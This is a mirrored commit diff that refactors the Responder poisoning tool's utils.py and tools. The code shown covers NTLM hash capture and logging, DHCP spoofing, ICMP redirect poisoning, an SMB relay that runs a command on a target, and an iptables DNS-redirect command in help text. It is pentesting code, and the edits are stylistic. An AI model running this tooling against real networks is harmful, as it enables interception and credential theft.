mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 21:11:22 -07:00
Refactors utils.py and tools/*
This commit is contained in:
jvoisin
parent
8e9205b102
commit
2fb6a1c228
15 changed files with 123 additions and 273 deletions
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@ -14,15 +14,11 @@
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import re
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import sys
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import socket
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import struct
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import string
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import logging
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from utils import color
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from odict import OrderedDict
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from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
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def OsNameClientVersion(data):
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@ -31,7 +27,6 @@ def OsNameClientVersion(data):
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pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
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OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
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return OsVersion, ClientVersion
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except:
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return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
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@ -17,6 +17,7 @@
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from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
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from SocketServer import BaseRequestHandler
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from utils import *
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import struct
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def WorkstationFingerPrint(data):
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@ -17,6 +17,7 @@
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from SocketServer import BaseRequestHandler, StreamRequestHandler
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from base64 import b64decode
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import struct
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from utils import *
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from packets import NTLM_Challenge
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@ -16,6 +16,7 @@
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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from SocketServer import BaseRequestHandler
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from utils import *
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import struct
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def ParseMSKerbv5TCP(Data):
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MsgType = Data[21:22]
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@ -17,6 +17,7 @@
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from SocketServer import BaseRequestHandler
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from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
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from utils import *
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import struct
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def ParseSearch(data):
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if re.search(r'(objectClass)', data):
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@ -17,6 +17,7 @@
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from SocketServer import BaseRequestHandler
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from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
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from utils import *
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import struct
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class TDS_Login_Packet:
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def __init__(self, data):
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@ -18,6 +18,7 @@ from random import randrange
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from packets import SMBHeader, SMBNegoAnsLM, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData
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from SocketServer import BaseRequestHandler
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from utils import *
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import struct
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def Is_Anonymous(data): # Detect if SMB auth was Anonymous
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@ -36,7 +36,7 @@ class Settings:
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return ret
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def toBool(self, str):
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return True if str.upper() == 'ON' else False
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return str.upper() == 'ON'
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def ExpandIPRanges(self):
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def expand_ranges(lst):
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@ -14,11 +14,9 @@
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import sys, os
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import socket
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import sys
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import os
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import thread
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import struct
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import time
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BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
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sys.path.insert(0, BASEDIR)
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@ -29,7 +27,6 @@ from threading import Lock
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from utils import *
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def ParseRoles(data):
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if len(data) != 4:
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return ''
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@ -62,44 +59,11 @@ def ParseRoles(data):
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'Domain Enum': (ord(data[3]) >> 7) & 1,
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}
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#print 'Workstation : ', AllRoles['Workstation']
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#print 'Server : ', AllRoles['Server']
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#print 'SQL : ', AllRoles['SQL']
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#print 'Domain Controller : ', AllRoles['Domain Controller']
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#print 'Backup Controller : ', AllRoles['Backup Controller']
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#print 'Time Source : ', AllRoles['Time Source']
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#print 'Apple : ', AllRoles['Apple']
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#print 'Novell : ', AllRoles['Novell']
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#print 'Member : ', AllRoles['Member']
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#print 'Print : ', AllRoles['Print']
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#print 'Dialin : ', AllRoles['Dialin']
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#print 'Xenix : ', AllRoles['Xenix']
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#print 'NT Workstation : ', AllRoles['NT Workstation']
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#print 'WfW : ', AllRoles['WfW']
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#print 'Unused : ', AllRoles['Unused']
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#print 'NT Server : ', AllRoles['NT Server']
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#print 'Potential Browser : ', AllRoles['Potential Browser']
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#print 'Backup Browser : ', AllRoles['Backup Browser']
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#print 'Master Browser : ', AllRoles['Master Browser']
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#print 'Domain Master Browser : ', AllRoles['Domain Master Browser']
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#print 'OSF : ', AllRoles['OSF']
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#print 'VMS : ', AllRoles['VMS']
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#print 'Windows 95+ : ', AllRoles['Windows 95+']
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#print 'DFS : ', AllRoles['DFS']
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#print 'Local : ', AllRoles['Local']
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#print 'Domain Enum : ', AllRoles['Domain Enum']
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return ', '.join(k for k,v in AllRoles.items() if v == 1)
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Roles = []
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for k,v in AllRoles.iteritems():
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if v == 1:
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Roles.append(k)
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return ', '.join(Roles)
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class BrowserListener(BaseRequestHandler):
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def handle(self):
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#try:
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data, socket = self.request
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lock = Lock()
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@ -129,14 +93,10 @@ class BrowserListener(BaseRequestHandler):
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lock.release()
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#except Exception:
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# pass
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class ThreadingUDPServer(ThreadingMixIn, UDPServer):
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def server_bind(self):
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self.allow_reuse_address = 1
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#self.socket.setsockopt(socket.SOL_SOCKET, 25, 'eth0\0')
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UDPServer.server_bind(self)
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def serve_thread_udp_broadcast(host, port, handler):
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@ -16,8 +16,6 @@
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import sys
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import struct
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import socket
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import re
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import optparse
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import ConfigParser
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import os
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@ -46,16 +44,13 @@ def color(txt, code = 1, modifier = 0):
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if options.Interface is None:
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print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
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exit(-1)
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if options.RouterIP is None:
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elif options.RouterIP is None:
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print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
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exit(-1)
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if options.DNSIP is None:
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elif options.DNSIP is None:
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print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
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exit(-1)
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if options.DNSIP2 is None:
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elif options.DNSIP2 is None:
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print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
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exit(-1)
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@ -230,22 +225,15 @@ def SpoofIP(Spoof):
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return ROUTERIP if Spoof else Responder_IP
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def RespondToThisIP(ClientIp):
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if ClientIp.startswith('127.0.0.'):
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return False
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if len(RespondTo) and ClientIp not in RespondTo:
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elif RespondTo and ClientIp not in RespondTo:
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return False
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if ClientIp in RespondTo or RespondTo == []:
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elif ClientIp in RespondTo or RespondTo == []:
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if ClientIp not in DontRespondTo:
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return True
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return False
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def IsUDP(data):
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return True if data[0][23:24] == "\x11" else False
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def ParseSrcDSTAddr(data):
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SrcIP = socket.inet_ntoa(data[0][26:30])
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DstIP = socket.inet_ntoa(data[0][30:34])
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@ -254,7 +242,7 @@ def ParseSrcDSTAddr(data):
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return SrcIP, SrcPort, DstIP, DstPort
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def FindIP(data):
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IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
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IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
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return ''.join(IP[0:4])
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def ParseDHCPCode(data):
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@ -270,21 +258,17 @@ def ParseDHCPCode(data):
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# DHCP Inform
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if OpCode == "\x08":
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IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
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Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
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GiveClientIP=socket.inet_aton("0.0.0.0"), \
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NextServerIP=socket.inet_aton("0.0.0.0"), \
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RelayAgentIP=socket.inet_aton("0.0.0.0"), \
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Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
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GiveClientIP=socket.inet_aton("0.0.0.0"),
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NextServerIP=socket.inet_aton("0.0.0.0"),
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RelayAgentIP=socket.inet_aton("0.0.0.0"),
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ElapsedSec=Seconds)
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Packet.calculate()
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Buffer = UDP(Data = Packet)
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Buffer.calculate()
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SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
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return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
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# DHCP Request
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if OpCode == "\x03" and Respond_To_Requests:
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elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
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IP = FindIP(data)
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if IP:
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IPConv = socket.inet_ntoa(IP)
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@ -292,16 +276,11 @@ def ParseDHCPCode(data):
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IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
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Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
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Packet.calculate()
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Buffer = UDP(Data = Packet)
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Buffer.calculate()
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SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
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return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
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# DHCP Discover
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if OpCode == "\x01" and Respond_To_Requests:
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elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
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IP = FindIP(data)
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if IP:
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IPConv = socket.inet_ntoa(IP)
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@ -309,12 +288,9 @@ def ParseDHCPCode(data):
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IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
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Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
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Packet.calculate()
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Buffer = UDP(Data = Packet)
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Buffer.calculate()
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SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
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return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
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def SendDHCP(packet,Host):
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@ -329,7 +305,7 @@ if __name__ == "__main__":
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while True:
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try:
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data = s.recvfrom(65535)
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if IsUDP(data):
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if data[0][23:24] == "\x11": # is udp?
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SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
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if SrcPort == 67 or DstPort == 67:
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@ -21,7 +21,7 @@ import struct
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import socket
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sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
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from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData
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from packets import SMB2Header, SMB2Nego, SMB2NegoData
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def GetBootTime(data):
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Filetime = int(struct.unpack('<q',data)[0])
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@ -35,12 +35,8 @@ def IsDCVuln(t):
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if t[0] < Date:
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print "DC is up since:", t[1]
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print "This DC is vulnerable to MS14-068"
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else:
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print "DC is up since:", t[1]
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def NbtLen(data):
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Len = struct.pack(">i", len(data))
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return Len
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def run(host):
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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@ -52,7 +48,7 @@ def run(host):
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Nego.calculate()
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Packet = str(Header)+str(Nego)
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Buffer = NbtLen(Packet)+Packet
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Buffer = struct.pack(">i", len(Packet)) + Packet
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s.send(Buffer)
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try:
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@ -15,55 +15,46 @@
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import sys,socket,struct,optparse,random,pipes
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import socket
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import struct
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import optparse
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import pipes
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from socket import *
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sys.path.append('../')
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from odict import OrderedDict
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from random import randrange
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from time import sleep
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from subprocess import call
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from pipes import quote
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parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
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prog=sys.argv[0],
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)
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parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
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parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
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parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
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parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
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parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
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parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
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parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
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options, args = parser.parse_args()
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if options.OURIP is None:
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print "-i mandatory option is missing.\n"
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parser.print_help()
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exit(-1)
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if options.OriginalGwAddr is None:
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elif options.OriginalGwAddr is None:
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print "-g mandatory option is missing, please provide the original gateway address.\n"
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parser.print_help()
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exit(-1)
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if options.VictimIP is None:
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elif options.VictimIP is None:
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print "-t mandatory option is missing, please provide a target.\n"
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parser.print_help()
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exit(-1)
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if options.Interface is None:
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elif options.Interface is None:
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print "-I mandatory option is missing, please provide your network interface.\n"
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parser.print_help()
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exit(-1)
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if options.ToThisHost is None:
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elif options.ToThisHost is None:
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print "-r mandatory option is missing, please provide a destination target.\n"
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parser.print_help()
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exit(-1)
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@ -81,16 +72,13 @@ ToThisHost2 = options.ToThisHost2
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Interface = options.Interface
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def Show_Help(ExtraHelpData):
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help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
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help+= ExtraHelpData
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print help
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print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
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print(ExtraHelpData)
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MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
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class Packet():
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fields = OrderedDict([
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("data", ""),
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])
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||||
fields = OrderedDict([("data", ""),])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
|
|
@ -98,6 +86,7 @@ class Packet():
|
|||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
|
@ -117,7 +106,6 @@ class EthARP(Packet):
|
|||
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x06" ), #ARP
|
||||
|
||||
])
|
||||
|
||||
class ARPWhoHas(Packet):
|
||||
|
|
@ -131,7 +119,6 @@ class ARPWhoHas(Packet):
|
|||
("SenderIP", "\x00\xff\x53\x4d"),
|
||||
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
||||
("DstIP", "\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
|
@ -146,7 +133,6 @@ class Eth2(Packet):
|
|||
("DstMac", ""),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x00" ), #IP
|
||||
|
||||
])
|
||||
|
||||
class IPPacket(Packet):
|
||||
|
|
@ -163,7 +149,6 @@ class IPPacket(Packet):
|
|||
("SrcIP", ""),
|
||||
("DestIP", ""),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
|
@ -184,13 +169,10 @@ class ICMPRedir(Packet):
|
|||
("CheckSum", "\x00\x00"),
|
||||
("GwAddr", ""),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Set the values
|
||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
||||
|
|
|
|||
|
|
@ -14,7 +14,8 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct, sys
|
||||
import struct
|
||||
import sys
|
||||
sys.path.append('../')
|
||||
from odict import OrderedDict
|
||||
|
||||
|
|
|
|||
|
|
@ -14,13 +14,27 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
||||
import sys
|
||||
import re
|
||||
import socket
|
||||
import random
|
||||
import optparse
|
||||
import thread
|
||||
sys.path.append('../')
|
||||
from fingerprint import RunSmbFinger
|
||||
from odict import OrderedDict
|
||||
from utils import longueur
|
||||
from socket import *
|
||||
from RelayPackets import *
|
||||
from packets import *
|
||||
from servers.SMB import *
|
||||
|
||||
import logging
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||
|
||||
|
||||
def longueur(payload):
|
||||
return struct.pack(">i", len(''.join(payload)))
|
||||
|
||||
|
||||
def UserCallBack(op, value, dmy, parser):
|
||||
args=[]
|
||||
|
|
@ -44,19 +58,16 @@ if options.CMD is None:
|
|||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.TARGET is None:
|
||||
elif options.TARGET is None:
|
||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.UserToRelay is None:
|
||||
elif options.UserToRelay is None:
|
||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
# Set some vars.
|
||||
UserToRelay = options.UserToRelay
|
||||
Domain = options.Domain
|
||||
Command = options.CMD
|
||||
|
|
@ -81,11 +92,6 @@ class Packet:
|
|||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#Logger
|
||||
import logging
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||
|
||||
#Function used to verify if a previous auth attempt was made.
|
||||
def ReadData(outfile,Client, User, cmd=None):
|
||||
try:
|
||||
|
|
@ -93,19 +99,14 @@ def ReadData(outfile,Client, User, cmd=None):
|
|||
if cmd is None:
|
||||
String = Client+':'+User
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if cmd is not None:
|
||||
String = Client+","+User+","+cmd
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
except:
|
||||
raise
|
||||
|
||||
|
|
@ -123,7 +124,6 @@ def ParseHash(data,Client, Target):
|
|||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
print "Username : ",Username
|
||||
|
|
@ -135,7 +135,6 @@ def ParseHash(data,Client, Target):
|
|||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||
|
|
@ -145,9 +144,6 @@ def ParseHash(data,Client, Target):
|
|||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
else:
|
||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||
pass
|
||||
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
|
|
@ -157,12 +153,10 @@ def Is_Anonymous(data):
|
|||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def ParseDomain(data):
|
||||
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
return Domain
|
||||
return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
|
|
|
|||
114
utils.py
114
utils.py
|
|
@ -21,7 +21,7 @@ import logging
|
|||
import socket
|
||||
import time
|
||||
import settings
|
||||
import struct
|
||||
|
||||
try:
|
||||
import sqlite3
|
||||
except:
|
||||
|
|
@ -29,25 +29,19 @@ except:
|
|||
sys.exit(0)
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
|
||||
if txt.startswith('[*]'):
|
||||
settings.Config.PoisonersLogger.warning(txt)
|
||||
|
||||
elif 'Analyze' in txt:
|
||||
settings.Config.AnalyzeLogger.warning(txt)
|
||||
|
||||
# No colors for windows...
|
||||
if os.name == 'nt':
|
||||
if os.name == 'nt': # No colors for windows...
|
||||
return txt
|
||||
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def text(txt):
|
||||
logging.info(txt)
|
||||
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
|
||||
return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
|
||||
|
||||
|
|
@ -64,52 +58,36 @@ def RespondToThisIP(ClientIp):
|
|||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
||||
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
||||
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
|
||||
return False
|
||||
|
||||
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
|
||||
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
if ClientIp not in settings.Config.DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisName(Name):
|
||||
|
||||
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
|
||||
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
|
||||
return False
|
||||
|
||||
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
if Name.upper() not in settings.Config.DontRespondToName:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisHost(ClientIp, Name):
|
||||
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
|
||||
|
||||
def IsOsX():
|
||||
return True if settings.Config.Os_version == "darwin" else False
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return False if IsOsX() else True
|
||||
else:
|
||||
return not IsOsX()
|
||||
return False
|
||||
|
||||
def IsOsX():
|
||||
Os_version = sys.platform
|
||||
if Os_version == "darwin":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return sys.platform == "darwin"
|
||||
|
||||
def FindLocalIP(Iface, OURIP):
|
||||
|
||||
if Iface == 'ALL':
|
||||
return '0.0.0.0'
|
||||
|
||||
|
|
@ -123,40 +101,29 @@ def FindLocalIP(Iface, OURIP):
|
|||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
|
||||
if not os.path.isfile(outfile):
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data)
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
|
||||
else:
|
||||
outf.write(data + '\n')
|
||||
return
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
elif re.search(re.escape("$"), user):
|
||||
return False
|
||||
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data)
|
||||
outf2.write("\n")
|
||||
outf2.close()
|
||||
outf2.write(data + '\n')
|
||||
|
||||
|
||||
def SaveToDb(result):
|
||||
|
||||
# Creating the DB if it doesn't exist
|
||||
if not os.path.exists(settings.Config.DatabaseFile):
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
|
|
@ -180,32 +147,23 @@ def SaveToDb(result):
|
|||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
# We add a text factory to support different charsets
|
||||
cursor.text_factory = sqlite3.Binary
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if count == 0:
|
||||
|
||||
# If we obtained cleartext credentials, write them to file
|
||||
# Otherwise, write JtR-style hash string to file
|
||||
if not count:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']):
|
||||
outf.write('%s:%s' % (result['user'], result['cleartext']))
|
||||
else:
|
||||
outf.write(result['fullhash'])
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'], result['cleartext']))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'] + '\n')
|
||||
|
||||
# Update database
|
||||
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
# Print output
|
||||
if count == 0 or settings.Config.Verbose:
|
||||
|
||||
if not count or settings.Config.Verbose: # Print output
|
||||
if len(result['client']):
|
||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
||||
if len(result['hostname']):
|
||||
|
|
@ -224,30 +182,22 @@ def SaveToDb(result):
|
|||
# Appending auto-ignore list if required
|
||||
# Except if this is a machine account's hash
|
||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||
|
||||
settings.Config.AutoIgnoreList.append(result['client'])
|
||||
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
|
||||
|
||||
else:
|
||||
print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user']
|
||||
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
|
||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||
return False
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||
return True
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
from string import printable
|
||||
|
||||
|
|
@ -259,12 +209,12 @@ def Decode_Name(nbname):
|
|||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
|
||||
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
|
||||
except:
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
return {
|
||||
"\x41\x41\x00":"Workstation/Redirector",
|
||||
"\x42\x4c\x00":"Domain Master Browser",
|
||||
"\x42\x4d\x00":"Domain Controller",
|
||||
|
|
@ -272,12 +222,10 @@ def NBT_NS_Role(data):
|
|||
"\x42\x4f\x00":"Browser Election",
|
||||
"\x43\x41\x00":"File Server",
|
||||
"\x41\x42\x00":"Browser",
|
||||
}
|
||||
}.get(data, 'Service not known')
|
||||
|
||||
return Role[data] if data in Role else "Service not known"
|
||||
|
||||
def banner():
|
||||
|
||||
banner = "\n".join([
|
||||
' __',
|
||||
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
|
||||
|
|
@ -293,6 +241,7 @@ def banner():
|
|||
print " To kill this script hit CRTL-C"
|
||||
print ""
